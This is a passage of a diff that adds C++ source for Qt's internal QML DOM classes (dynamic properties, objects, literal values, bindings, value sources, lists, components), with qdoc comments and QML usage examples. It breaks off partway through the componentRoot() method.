+bool QDeclarativeDomDynamicProperty::isValid() const
+{
+ return d && d->valid;
+}
+
+/*!
+ Return the name of this dynamic property.
+
+ \qml
+Item {
+ property int count: 10;
+}
+ \endqml
+
+ As illustrated above, a dynamic property name can have a name and a
+ default value ("10").
+*/
+QByteArray QDeclarativeDomDynamicProperty::propertyName() const
+{
+ if (isValid())
+ return d->property.name;
+ else
+ return QByteArray();
+}
+
+/*!
+ Returns the type of the dynamic property. Note that when the property is an
+ alias property, this will return -1. Use QDeclarativeDomProperty::isAlias() to check
+ if the property is an alias.
+*/
+int QDeclarativeDomDynamicProperty::propertyType() const
+{
+ if (isValid()) {
+ switch (d->property.type) {
+ case QDeclarativeParser::Object::DynamicProperty::Bool:
+ return QMetaType::type("bool");
+
+ case QDeclarativeParser::Object::DynamicProperty::Color:
+ return QMetaType::type("QColor");
+
+ case QDeclarativeParser::Object::DynamicProperty::Time:
+ return QMetaType::type("QTime");
+
+ case QDeclarativeParser::Object::DynamicProperty::Date:
+ return QMetaType::type("QDate");
+
+ case QDeclarativeParser::Object::DynamicProperty::DateTime:
+ return QMetaType::type("QDateTime");
+
+ case QDeclarativeParser::Object::DynamicProperty::Int:
+ return QMetaType::type("int");
+
+ case QDeclarativeParser::Object::DynamicProperty::Real:
+ return sizeof(qreal) == sizeof(double) ? QMetaType::type("double") : QMetaType::type("float");
+
+ case QDeclarativeParser::Object::DynamicProperty::String:
+ return QMetaType::type("QString");
+
+ case QDeclarativeParser::Object::DynamicProperty::Url:
+ return QMetaType::type("QUrl");
+
+ case QDeclarativeParser::Object::DynamicProperty::Variant:
+ return QMetaType::type("QVariant");
+
+ default:
+ break;
+ }
+ }
+
+ return -1;
+}
+
+QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const
+{
+ if (isValid())
+ return d->property.customType;
+
+ return QByteArray();
+}
+
+/*!
+ Return true if this property is used as a default property in the QML
+ document.
+
+ \code
+<Text text="hello"/>
+<Text>hello</Text>
+ \endcode
+
+ The above two examples return the same DOM tree, except that the second has
+ the default property flag set on the text property. Observe that whether
+ or not a property has isDefaultProperty set is determined by how the
+ property is used, and not only by whether the property is the types default
+ property.
+*/
+bool QDeclarativeDomDynamicProperty::isDefaultProperty() const
+{
+ if (isValid())
+ return d->property.isDefaultProperty;
+ else
+ return false;
+}
+
+/*!
+ Returns the default value as a QDeclarativeDomProperty.
+*/
+QDeclarativeDomProperty QDeclarativeDomDynamicProperty::defaultValue() const
+{
+ QDeclarativeDomProperty rp;
+
+ if (isValid() && d->property.defaultValue) {
+ rp.d->property = d->property.defaultValue;
+ rp.d->propertyName = propertyName();
+ rp.d->property->addref();
+ }
+
+ return rp;
+}
+
+/*!
+ Returns true if this dynamic property is an alias for another property,
+ false otherwise.
+*/
+bool QDeclarativeDomDynamicProperty::isAlias() const
+{
+ if (isValid())
+ return d->property.type == QDeclarativeParser::Object::DynamicProperty::Alias;
+ else
+ return false;
+}
+
+/*!
+ Returns the position in the input data where the property ID startd, or 0 if
+ the property is invalid.
+*/
+int QDeclarativeDomDynamicProperty::position() const
+{
+ if (isValid()) {
+ return d->property.location.range.offset;
+ } else
+ return -1;
+}
+
+/*!
+ Returns the length in the input data from where the property ID started upto
+ the end of it, or 0 if the property is invalid.
+*/
+int QDeclarativeDomDynamicProperty::length() const
+{
+ if (isValid())
+ return d->property.location.range.length;
+ else
+ return -1;
+}
+
+QDeclarativeDomObjectPrivate::QDeclarativeDomObjectPrivate()
+: object(0)
+{
+}
+
+QDeclarativeDomObjectPrivate::~QDeclarativeDomObjectPrivate()
+{
+ if (object) object->release();
+}
+
+QDeclarativeDomObjectPrivate::Properties
+QDeclarativeDomObjectPrivate::properties() const
+{
+ Properties rv;
+
+ for (QHash<QByteArray, QDeclarativeParser::Property *>::ConstIterator iter =
+ object->properties.begin();
+ iter != object->properties.end();
+ ++iter) {
+
+ rv << properties(*iter);
+
+ }
+ return rv;
+}
+
+QDeclarativeDomObjectPrivate::Properties
+QDeclarativeDomObjectPrivate::properties(QDeclarativeParser::Property *property) const
+{
+ Properties rv;
+
+ if (property->value) {
+
+ for (QHash<QByteArray, QDeclarativeParser::Property *>::ConstIterator iter =
+ property->value->properties.begin();
+ iter != property->value->properties.end();
+ ++iter) {
+
+ rv << properties(*iter);
+
+ }
+
+ QByteArray name(property->name + '.');
+ for (Properties::Iterator iter = rv.begin(); iter != rv.end(); ++iter)
+ iter->second.prepend(name);
+
+ } else {
+ rv << qMakePair(property, property->name);
+ }
+
+ return rv;
+}
+
+/*!
+ \class QDeclarativeDomObject
+ \internal
+ \brief The QDeclarativeDomObject class represents an object instantiation.
+
+ Each object instantiated in a QML file has a corresponding QDeclarativeDomObject
+ node in the QML DOM.
+
+ In addition to the type information that determines the object to
+ instantiate, QDeclarativeDomObject's also have a set of associated QDeclarativeDomProperty's.
+ Each QDeclarativeDomProperty represents a QML property assignment on the instantiated
+ object. For example,
+
+ \qml
+QGraphicsWidget {
+ opacity: 0.5
+ size: "100x100"
+}
+ \endqml
+
+ describes a single QDeclarativeDomObject - "QGraphicsWidget" - with two properties,
+ "opacity" and "size". Obviously QGraphicsWidget has many more properties than just
+ these two, but the QML DOM representation only contains those assigned
+ values (or bindings) in the QML file.
+*/
+
+/*!
+ Construct an invalid QDeclarativeDomObject.
+*/
+QDeclarativeDomObject::QDeclarativeDomObject()
+: d(new QDeclarativeDomObjectPrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomObject.
+*/
+QDeclarativeDomObject::QDeclarativeDomObject(const QDeclarativeDomObject &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomObject.
+*/
+QDeclarativeDomObject::~QDeclarativeDomObject()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomObject.
+*/
+QDeclarativeDomObject &QDeclarativeDomObject::operator=(const QDeclarativeDomObject &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Returns true if this is a valid QDeclarativeDomObject, false otherwise.
+*/
+bool QDeclarativeDomObject::isValid() const
+{
+ return d->object != 0;
+}
+
+/*!
+ Returns the fully-qualified type name of this object.
+
+ For example, the type of this object would be "Qt/4.6/Rectangle".
+ \qml
+Rectangle { }
+ \endqml
+*/
+QByteArray QDeclarativeDomObject::objectType() const
+{
+ if (d->object) return d->object->typeName;
+ else return QByteArray();
+}
+
+/*!
+ Returns the type name as referenced in the qml file.
+
+ For example, the type of this object would be "Rectangle".
+ \qml
+Rectangle { }
+ \endqml
+*/
+QByteArray QDeclarativeDomObject::objectClassName() const
+{
+ if (d->object)
+ return d->object->className;
+ else
+ return QByteArray();
+}
+
+int QDeclarativeDomObject::objectTypeMajorVersion() const
+{
+ if (d->object)
+ return d->object->majorVersion;
+ else
+ return -1;
+}
+
+int QDeclarativeDomObject::objectTypeMinorVersion() const
+{
+ if (d->object)
+ return d->object->minorVersion;
+ else
+ return -1;
+}
+
+/*!
+ Returns the QML id assigned to this object, or an empty QByteArray if no id
+ has been assigned.
+
+ For example, the object id of this object would be "MyText".
+ \qml
+Text { id: myText }
+ \endqml
+*/
+QString QDeclarativeDomObject::objectId() const
+{
+ if (d->object) {
+ return d->object->id;
+ } else {
+ return QString();
+ }
+}
+
+/*!
+ Returns the list of assigned properties on this object.
+
+ In the following example, "text" and "x" properties would be returned.
+ \qml
+Text {
+ text: "Hello world!"
+ x: 100
+}
+ \endqml
+*/
+QList<QDeclarativeDomProperty> QDeclarativeDomObject::properties() const
+{
+ QList<QDeclarativeDomProperty> rv;
+
+ if (!d->object || isComponent())
+ return rv;
+
+ QDeclarativeDomObjectPrivate::Properties properties = d->properties();
+ for (int ii = 0; ii < properties.count(); ++ii) {
+
+ QDeclarativeDomProperty domProperty;
+ domProperty.d->property = properties.at(ii).first;
+ domProperty.d->property->addref();
+ domProperty.d->propertyName = properties.at(ii).second;
+ rv << domProperty;
+
+ }
+
+ if (d->object->defaultProperty) {
+ QDeclarativeDomProperty domProperty;
+ domProperty.d->property = d->object->defaultProperty;
+ domProperty.d->property->addref();
+ domProperty.d->propertyName = d->object->defaultProperty->name;
+ rv << domProperty;
+ }
+
+ return rv;
+}
+
+/*!
+ Returns the object's \a name property if a value has been assigned to
+ it, or an invalid QDeclarativeDomProperty otherwise.
+
+ In the example below, \c {object.property("source")} would return a valid
+ QDeclarativeDomProperty, and \c {object.property("tile")} an invalid QDeclarativeDomProperty.
+
+ \qml
+Image { source: "sample.jpg" }
+ \endqml
+*/
+QDeclarativeDomProperty QDeclarativeDomObject::property(const QByteArray &name) const
+{
+ QList<QDeclarativeDomProperty> props = properties();
+ for (int ii = 0; ii < props.count(); ++ii)
+ if (props.at(ii).propertyName() == name)
+ return props.at(ii);
+ return QDeclarativeDomProperty();
+}
+
+QList<QDeclarativeDomDynamicProperty> QDeclarativeDomObject::dynamicProperties() const
+{
+ QList<QDeclarativeDomDynamicProperty> properties;
+
+ for (int i = 0; i < d->object->dynamicProperties.size(); ++i) {
+ QDeclarativeDomDynamicProperty p;
+ p.d = new QDeclarativeDomDynamicPropertyPrivate;
+ p.d->property = d->object->dynamicProperties.at(i);
+ p.d->valid = true;
+
+ if (p.d->property.defaultValue)
+ p.d->property.defaultValue->addref();
+
+ properties.append(p);
+ }
+
+ return properties;
+}
+
+QDeclarativeDomDynamicProperty QDeclarativeDomObject::dynamicProperty(const QByteArray &name) const
+{
+ QDeclarativeDomDynamicProperty p;
+
+ if (!isValid())
+ return p;
+
+ for (int i = 0; i < d->object->dynamicProperties.size(); ++i) {
+ if (d->object->dynamicProperties.at(i).name == name) {
+ p.d = new QDeclarativeDomDynamicPropertyPrivate;
+ p.d->property = d->object->dynamicProperties.at(i);
+ if (p.d->property.defaultValue) p.d->property.defaultValue->addref();
+ p.d->valid = true;
+ }
+ }
+
+ return p;
+}
+
+/*!
+ Returns true if this object is a custom type. Custom types are special
+ types that allow embeddeding non-QML data, such as SVG or HTML data,
+ directly into QML files.
+
+ \note Currently this method will always return false, and is a placekeeper
+ for future functionality.
+
+ \sa QDeclarativeDomObject::customTypeData()
+*/
+bool QDeclarativeDomObject::isCustomType() const
+{
+ return false;
+}
+
+/*!
+ If this object represents a custom type, returns the data associated with
+ the custom type, otherwise returns an empty QByteArray().
+ QDeclarativeDomObject::isCustomType() can be used to check if this object represents
+ a custom type.
+*/
+QByteArray QDeclarativeDomObject::customTypeData() const
+{
+ return QByteArray();
+}
+
+/*!
+ Returns true if this object is a sub-component object. Sub-component
+ objects can be converted into QDeclarativeDomComponent instances by calling
+ QDeclarativeDomObject::toComponent().
+
+ \sa QDeclarativeDomObject::toComponent()
+*/
+bool QDeclarativeDomObject::isComponent() const
+{
+ return (d->object && (d->object->typeName == "Qt/Component" || d->object->typeName == "QtQuick/Component"));
+}
+
+/*!
+ Returns a QDeclarativeDomComponent for this object if it is a sub-component, or
+ an invalid QDeclarativeDomComponent if not. QDeclarativeDomObject::isComponent() can be used
+ to check if this object represents a sub-component.
+
+ \sa QDeclarativeDomObject::isComponent()
+*/
+QDeclarativeDomComponent QDeclarativeDomObject::toComponent() const
+{
+ QDeclarativeDomComponent rv;
+ if (isComponent())
+ rv.d = d;
+ return rv;
+}
+
+/*!
+ Returns the position in the input data where the property assignment started
+, or -1 if the property is invalid.
+*/
+int QDeclarativeDomObject::position() const
+{
+ if (d && d->object)
+ return d->object->location.range.offset;
+ else
+ return -1;
+}
+
+/*!
+ Returns the length in the input data from where the property assignment star
+ted upto the end of it, or -1 if the property is invalid.
+*/
+int QDeclarativeDomObject::length() const
+{
+ if (d && d->object)
+ return d->object->location.range.length;
+ else
+ return -1;
+}
+
+// Returns the URL of the type, if it is an external type, or an empty URL if
+// not
+QUrl QDeclarativeDomObject::url() const
+{
+ if (d && d->object)
+ return d->object->url;
+ else
+ return QUrl();
+}
+
+QDeclarativeDomBasicValuePrivate::QDeclarativeDomBasicValuePrivate()
+: value(0)
+{
+}
+
+QDeclarativeDomBasicValuePrivate::~QDeclarativeDomBasicValuePrivate()
+{
+ if (value) value->release();
+}
+
+/*!
+ \class QDeclarativeDomValueLiteral
+ \internal
+ \brief The QDeclarativeDomValueLiteral class represents a literal value.
+
+ A literal value is a simple value, written inline with the QML. In the
+ example below, the "x", "y" and "color" properties are being assigned
+ literal values.
+
+ \qml
+Rectangle {
+ x: 10
+ y: 10
+ color: "red"
+}
+ \endqml
+*/
+
+/*!
+ Construct an empty QDeclarativeDomValueLiteral.
+*/
+QDeclarativeDomValueLiteral::QDeclarativeDomValueLiteral():
+ d(new QDeclarativeDomBasicValuePrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomValueLiteral.
+*/
+QDeclarativeDomValueLiteral::QDeclarativeDomValueLiteral(const QDeclarativeDomValueLiteral &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomValueLiteral.
+*/
+QDeclarativeDomValueLiteral::~QDeclarativeDomValueLiteral()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomValueLiteral.
+*/
+QDeclarativeDomValueLiteral &QDeclarativeDomValueLiteral::operator=(const QDeclarativeDomValueLiteral &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Return the literal value.
+
+ In the example below, the literal value will be the string "10".
+ \qml
+Rectangle { x: 10 }
+ \endqml
+*/
+QString QDeclarativeDomValueLiteral::literal() const
+{
+ if (d->value) return d->value->primitive();
+ else return QString();
+}
+
+/*!
+ \class QDeclarativeDomValueBinding
+ \internal
+ \brief The QDeclarativeDomValueBinding class represents a property binding.
+
+ A property binding is an ECMAScript expression assigned to a property. In
+ the example below, the "x" property is being assigned a property binding.
+
+ \qml
+Rectangle { x: Other.x }
+ \endqml
+*/
+
+/*!
+ Construct an empty QDeclarativeDomValueBinding.
+*/
+QDeclarativeDomValueBinding::QDeclarativeDomValueBinding():
+ d(new QDeclarativeDomBasicValuePrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomValueBinding.
+*/
+QDeclarativeDomValueBinding::QDeclarativeDomValueBinding(const QDeclarativeDomValueBinding &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomValueBinding.
+*/
+QDeclarativeDomValueBinding::~QDeclarativeDomValueBinding()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomValueBinding.
+*/
+QDeclarativeDomValueBinding &QDeclarativeDomValueBinding::operator=(const QDeclarativeDomValueBinding &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Return the binding expression.
+
+ In the example below, the string "Other.x" will be returned.
+ \qml
+Rectangle { x: Other.x }
+ \endqml
+*/
+QString QDeclarativeDomValueBinding::binding() const
+{
+ if (d->value)
+ return d->value->value.asScript();
+ else
+ return QString();
+}
+
+/*!
+ \class QDeclarativeDomValueValueSource
+ \internal
+ \brief The QDeclarativeDomValueValueSource class represents a value source assignment value.
+
+ In QML, value sources are special value generating types that may be
+ assigned to properties. Value sources inherit the QDeclarativePropertyValueSource
+ class. In the example below, the "x" property is being assigned the
+ NumberAnimation value source.
+
+ \qml
+Rectangle {
+ x: NumberAnimation {
+ from: 0
+ to: 100
+ loops: Animation.Infinite
+ }
+}
+ \endqml
+*/
+
+/*!
+ Construct an empty QDeclarativeDomValueValueSource.
+*/
+QDeclarativeDomValueValueSource::QDeclarativeDomValueValueSource():
+ d(new QDeclarativeDomBasicValuePrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomValueValueSource.
+*/
+QDeclarativeDomValueValueSource::QDeclarativeDomValueValueSource(const QDeclarativeDomValueValueSource &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomValueValueSource.
+*/
+QDeclarativeDomValueValueSource::~QDeclarativeDomValueValueSource()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomValueValueSource.
+*/
+QDeclarativeDomValueValueSource &QDeclarativeDomValueValueSource::operator=(const QDeclarativeDomValueValueSource &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Return the value source object.
+
+ In the example below, an object representing the NumberAnimation will be
+ returned.
+ \qml
+Rectangle {
+ x: NumberAnimation {
+ from: 0
+ to: 100
+ loops: Animation.Infinite
+ }
+}
+ \endqml
+*/
+QDeclarativeDomObject QDeclarativeDomValueValueSource::object() const
+{
+ QDeclarativeDomObject rv;
+ if (d->value) {
+ rv.d->object = d->value->object;
+ rv.d->object->addref();
+ }
+ return rv;
+}
+
+/*!
+ \class QDeclarativeDomValueValueInterceptor
+ \internal
+ \brief The QDeclarativeDomValueValueInterceptor class represents a value interceptor assignment value.
+
+ In QML, value interceptor are special write-intercepting types that may be
+ assigned to properties. Value interceptor inherit the QDeclarativePropertyValueInterceptor
+ class. In the example below, the "x" property is being assigned the
+ Behavior value interceptor.
+
+ \qml
+Rectangle {
+ Behavior on x { NumberAnimation { duration: 500 } }
+}
+ \endqml
+*/
+
+/*!
+ Construct an empty QDeclarativeDomValueValueInterceptor.
+*/
+QDeclarativeDomValueValueInterceptor::QDeclarativeDomValueValueInterceptor():
+ d(new QDeclarativeDomBasicValuePrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomValueValueInterceptor.
+*/
+QDeclarativeDomValueValueInterceptor::QDeclarativeDomValueValueInterceptor(const QDeclarativeDomValueValueInterceptor &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomValueValueInterceptor.
+*/
+QDeclarativeDomValueValueInterceptor::~QDeclarativeDomValueValueInterceptor()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomValueValueInterceptor.
+*/
+QDeclarativeDomValueValueInterceptor &QDeclarativeDomValueValueInterceptor::operator=(const QDeclarativeDomValueValueInterceptor &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Return the value interceptor object.
+
+ In the example below, an object representing the Behavior will be
+ returned.
+ \qml
+Rectangle {
+ Behavior on x { NumberAnimation { duration: 500 } }
+}
+ \endqml
+*/
+QDeclarativeDomObject QDeclarativeDomValueValueInterceptor::object() const
+{
+ QDeclarativeDomObject rv;
+ if (d->value) {
+ rv.d->object = d->value->object;
+ rv.d->object->addref();
+ }
+ return rv;
+}
+
+QDeclarativeDomValuePrivate::QDeclarativeDomValuePrivate()
+: property(0), value(0)
+{
+}
+
+QDeclarativeDomValuePrivate::~QDeclarativeDomValuePrivate()
+{
+ if (property) property->release();
+ if (value) value->release();
+}
+
+/*!
+ \class QDeclarativeDomValue
+ \internal
+ \brief The QDeclarativeDomValue class represents a generic Qml value.
+
+ QDeclarativeDomValue's can be assigned to QML \l {QDeclarativeDomProperty}{properties}. In
+ QML, properties can be assigned various different values, including basic
+ literals, property bindings, property value sources, objects and lists of
+ values. The QDeclarativeDomValue class allows a programmer to determine the specific
+ value type being assigned and access more detailed information through a
+ corresponding value type class.
+
+ For example, in the following example,
+
+ \qml
+Text {
+ text: "Hello World!"
+ y: Other.y
+}
+ \endqml
+
+ The text property is being assigned a literal, and the y property a property
+ binding. To output the values assigned to the text and y properties in the
+ above example from C++,
+
+ \code
+ QDeclarativeDomDocument document;
+ QDeclarativeDomObject root = document.rootObject();
+
+ QDeclarativeDomProperty text = root.property("text");
+ if (text.value().isLiteral()) {
+ QDeclarativeDomValueLiteral literal = text.value().toLiteral();
+ qDebug() << literal.literal();
+ }
+
+ QDeclarativeDomProperty y = root.property("y");
+ if (y.value().isBinding()) {
+ QDeclarativeDomValueBinding binding = y.value().toBinding();
+ qDebug() << binding.binding();
+ }
+ \endcode
+*/
+
+/*!
+ Construct an invalid QDeclarativeDomValue.
+*/
+QDeclarativeDomValue::QDeclarativeDomValue()
+: d(new QDeclarativeDomValuePrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomValue.
+*/
+QDeclarativeDomValue::QDeclarativeDomValue(const QDeclarativeDomValue &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomValue
+*/
+QDeclarativeDomValue::~QDeclarativeDomValue()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomValue.
+*/
+QDeclarativeDomValue &QDeclarativeDomValue::operator=(const QDeclarativeDomValue &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ \enum QDeclarativeDomValue::Type
+
+ The type of the QDeclarativeDomValue node.
+
+ \value Invalid The QDeclarativeDomValue is invalid.
+ \value Literal The QDeclarativeDomValue is a literal value assignment. Use QDeclarativeDomValue::toLiteral() to access the type instance.
+ \value PropertyBinding The QDeclarativeDomValue is a property binding. Use QDeclarativeDomValue::toBinding() to access the type instance.
+ \value ValueSource The QDeclarativeDomValue is a property value source. Use QDeclarativeDomValue::toValueSource() to access the type instance.
+ \value ValueInterceptor The QDeclarativeDomValue is a property value interceptor. Use QDeclarativeDomValue::toValueInterceptor() to access the type instance.
+ \value Object The QDeclarativeDomValue is an object assignment. Use QDeclarativeDomValue::toObject() to access the type instnace.
+ \value List The QDeclarativeDomValue is a list of other values. Use QDeclarativeDomValue::toList() to access the type instance.
+*/
+
+/*!
+ Returns the type of this QDeclarativeDomValue.
+*/
+QDeclarativeDomValue::Type QDeclarativeDomValue::type() const
+{
+ if (d->property)
+ if (QDeclarativeMetaType::isList(d->property->type) ||
+ (d->property && (d->property->values.count() + d->property->onValues.count()) > 1))
+ return List;
+
+ QDeclarativeParser::Value *value = d->value;
+ if (!value && !d->property)
+ return Invalid;
+
+ switch(value->type) {
+ case QDeclarativeParser::Value::Unknown:
+ return Invalid;
+ case QDeclarativeParser::Value::Literal:
+ return Literal;
+ case QDeclarativeParser::Value::PropertyBinding:
+ return PropertyBinding;
+ case QDeclarativeParser::Value::ValueSource:
+ return ValueSource;
+ case QDeclarativeParser::Value::ValueInterceptor:
+ return ValueInterceptor;
+ case QDeclarativeParser::Value::CreatedObject:
+ return Object;
+ case QDeclarativeParser::Value::SignalObject:
+ return Invalid;
+ case QDeclarativeParser::Value::SignalExpression:
+ return Literal;
+ case QDeclarativeParser::Value::Id:
+ return Literal;
+ }
+ return Invalid;
+}
+
+/*!
+ Returns true if this is an invalid value, otherwise false.
+*/
+bool QDeclarativeDomValue::isInvalid() const
+{
+ return type() == Invalid;
+}
+
+/*!
+ Returns true if this is a literal value, otherwise false.
+*/
+bool QDeclarativeDomValue::isLiteral() const
+{
+ return type() == Literal;
+}
+
+/*!
+ Returns true if this is a property binding value, otherwise false.
+*/
+bool QDeclarativeDomValue::isBinding() const
+{
+ return type() == PropertyBinding;
+}
+
+/*!
+ Returns true if this is a value source value, otherwise false.
+*/
+bool QDeclarativeDomValue::isValueSource() const
+{
+ return type() == ValueSource;
+}
+
+/*!
+ Returns true if this is a value interceptor value, otherwise false.
+*/
+bool QDeclarativeDomValue::isValueInterceptor() const
+{
+ return type() == ValueInterceptor;
+}
+
+/*!
+ Returns true if this is an object value, otherwise false.
+*/
+bool QDeclarativeDomValue::isObject() const
+{
+ return type() == Object;
+}
+
+/*!
+ Returns true if this is a list value, otherwise false.
+*/
+bool QDeclarativeDomValue::isList() const
+{
+ return type() == List;
+}
+
+/*!
+ Returns a QDeclarativeDomValueLiteral if this value is a literal type, otherwise
+ returns an invalid QDeclarativeDomValueLiteral.
+
+ \sa QDeclarativeDomValue::type()
+*/
+QDeclarativeDomValueLiteral QDeclarativeDomValue::toLiteral() const
+{
+ QDeclarativeDomValueLiteral rv;
+ if (type() == Literal) {
+ rv.d->value = d->value;
+ rv.d->value->addref();
+ }
+ return rv;
+}
+
+/*!
+ Returns a QDeclarativeDomValueBinding if this value is a property binding type,
+ otherwise returns an invalid QDeclarativeDomValueBinding.
+
+ \sa QDeclarativeDomValue::type()
+*/
+QDeclarativeDomValueBinding QDeclarativeDomValue::toBinding() const
+{
+ QDeclarativeDomValueBinding rv;
+ if (type() == PropertyBinding) {
+ rv.d->value = d->value;
+ rv.d->value->addref();
+ }
+ return rv;
+}
+
+/*!
+ Returns a QDeclarativeDomValueValueSource if this value is a property value source
+ type, otherwise returns an invalid QDeclarativeDomValueValueSource.
+
+ \sa QDeclarativeDomValue::type()
+*/
+QDeclarativeDomValueValueSource QDeclarativeDomValue::toValueSource() const
+{
+ QDeclarativeDomValueValueSource rv;
+ if (type() == ValueSource) {
+ rv.d->value = d->value;
+ rv.d->value->addref();
+ }
+ return rv;
+}
+
+/*!
+ Returns a QDeclarativeDomValueValueInterceptor if this value is a property value interceptor
+ type, otherwise returns an invalid QDeclarativeDomValueValueInterceptor.
+
+ \sa QDeclarativeDomValue::type()
+*/
+QDeclarativeDomValueValueInterceptor QDeclarativeDomValue::toValueInterceptor() const
+{
+ QDeclarativeDomValueValueInterceptor rv;
+ if (type() == ValueInterceptor) {
+ rv.d->value = d->value;
+ rv.d->value->addref();
+ }
+ return rv;
+}
+
+/*!
+ Returns a QDeclarativeDomObject if this value is an object assignment type, otherwise
+ returns an invalid QDeclarativeDomObject.
+
+ \sa QDeclarativeDomValue::type()
+*/
+QDeclarativeDomObject QDeclarativeDomValue::toObject() const
+{
+ QDeclarativeDomObject rv;
+ if (type() == Object) {
+ rv.d->object = d->value->object;
+ rv.d->object->addref();
+ }
+ return rv;
+}
+
+/*!
+ Returns a QDeclarativeDomList if this value is a list type, otherwise returns an
+ invalid QDeclarativeDomList.
+
+ \sa QDeclarativeDomValue::type()
+*/
+QDeclarativeDomList QDeclarativeDomValue::toList() const
+{
+ QDeclarativeDomList rv;
+ if (type() == List) {
+ rv.d = d;
+ }
+ return rv;
+}
+
+/*!
+ Returns the position in the input data where the property value startd, or -1
+ if the value is invalid.
+*/
+int QDeclarativeDomValue::position() const
+{
+ if (type() == Invalid)
+ return -1;
+ else
+ return d->value->location.range.offset;
+}
+
+/*!
+ Returns the length in the input data from where the property value started u
+pto the end of it, or -1 if the value is invalid.
+*/
+int QDeclarativeDomValue::length() const
+{
+ if (type() == Invalid)
+ return -1;
+ else
+ return d->value->location.range.length;
+}
+
+/*!
+ \class QDeclarativeDomList
+ \internal
+ \brief The QDeclarativeDomList class represents a list of values assigned to a QML property.
+
+ Lists of values can be assigned to properties. For example, the following
+ example assigns multiple objects to Item's "children" property
+ \qml
+Item {
+ children: [
+ Text { },
+ Rectangle { }
+ ]
+}
+ \endqml
+
+ Lists can also be implicitly created by assigning multiple
+ \l {QDeclarativeDomValueValueSource}{value sources} or constants to a property.
+ \qml
+Item {
+ x: 10
+ x: NumberAnimation {
+ running: false
+ from: 0
+ to: 100
+ }
+}
+ \endqml
+*/
+
+/*!
+ Construct an empty QDeclarativeDomList.
+*/
+QDeclarativeDomList::QDeclarativeDomList()
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomList.
+*/
+QDeclarativeDomList::QDeclarativeDomList(const QDeclarativeDomList &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomList.
+*/
+QDeclarativeDomList::~QDeclarativeDomList()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomList.
+*/
+QDeclarativeDomList &QDeclarativeDomList::operator=(const QDeclarativeDomList &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Returns the list of QDeclarativeDomValue's.
+*/
+QList<QDeclarativeDomValue> QDeclarativeDomList::values() const
+{
+ QList<QDeclarativeDomValue> rv;
+ if (!d->property)
+ return rv;
+
+ for (int ii = 0; ii < d->property->values.count(); ++ii) {
+ QDeclarativeDomValue v;
+ v.d->value = d->property->values.at(ii);
+ v.d->value->addref();
+ rv << v;
+ }
+
+ for (int ii = 0; ii < d->property->onValues.count(); ++ii) {
+ QDeclarativeDomValue v;
+ v.d->value = d->property->onValues.at(ii);
+ v.d->value->addref();
+ rv << v;
+ }
+
+ return rv;
+}
+
+/*!
+ Returns the position in the input data where the list started, or -1 if
+ the property is invalid.
+*/
+int QDeclarativeDomList::position() const
+{
+ if (d && d->property) {
+ return d->property->listValueRange.offset;
+ } else
+ return -1;
+}
+
+/*!
+ Returns the length in the input data from where the list started upto
+ the end of it, or 0 if the property is invalid.
+*/
+int QDeclarativeDomList::length() const
+{
+ if (d && d->property)
+ return d->property->listValueRange.length;
+ else
+ return -1;
+}
+
+/*!
+ Returns a list of positions of the commas in the QML file.
+*/
+QList<int> QDeclarativeDomList:: commaPositions() const
+{
+ if (d && d->property)
+ return d->property->listCommaPositions;
+ else
+ return QList<int>();
+}
+
+/*!
+ \class QDeclarativeDomComponent
+ \internal
+ \brief The QDeclarativeDomComponent class represents sub-component within a QML document.
+
+ Sub-components are QDeclarativeComponents defined within a QML document. The
+ following example shows the definition of a sub-component with the id
+ "listDelegate".
+
+ \qml
+Item {
+ Component {
+ id: listDelegate
+ Text {
+ text: modelData.text
+ }
+ }
+}
+ \endqml
+
+ Like QDeclarativeDomDocument's, components contain a single root object.
+*/
+
+/*!
+ Construct an empty QDeclarativeDomComponent.
+*/
+QDeclarativeDomComponent::QDeclarativeDomComponent()
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomComponent.
+*/
+QDeclarativeDomComponent::QDeclarativeDomComponent(const QDeclarativeDomComponent &other)
+: QDeclarativeDomObject(other)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomComponent.
+*/
+QDeclarativeDomComponent::~QDeclarativeDomComponent()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomComponent.
+*/
+QDeclarativeDomComponent &QDeclarativeDomComponent::operator=(const QDeclarativeDomComponent &other)
+{
+ static_cast<QDeclarativeDomObject &>(*this) = other;
+ return *this;
+}
+
+/*!
+ Returns the component's root object.
+
+ In the example below, the root object is the "Text" object.
+ \qml
+Item {
+ Component {
+ id: listDelegate
+ Text {
+ text: modelData.text
+ }
+ }
+}
+ \endqml
+*/
+QDeclarativeDomObject QDeclarativeDomComponent::componentRoot() const
+{
+ QDeclarativeDomObject rv;
